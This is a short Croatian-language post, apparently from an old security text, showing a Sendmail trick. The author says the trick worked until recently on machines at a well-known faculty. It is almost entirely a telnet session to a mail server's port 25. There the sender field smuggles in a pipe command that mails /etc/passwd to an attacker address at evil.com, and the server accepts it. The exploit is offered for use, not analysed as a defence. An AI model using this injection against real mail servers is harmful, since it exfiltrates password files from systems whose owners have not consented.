Sendmail (3)
slijedeći trik je još donedavno prolazio na nekim strojevima na jednom našem uglednom fakultetu
možda prolazi još uvijek, ali nisam pokušavao
evil % telnet victim.com 25
Escape character is '^]'.
220 victim.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04
mail from: "|/bin/mail zen@evil.com < /etc/passwd"
250 "|/bin/mail zen@evil.com < /etc/passwd"... Sender ok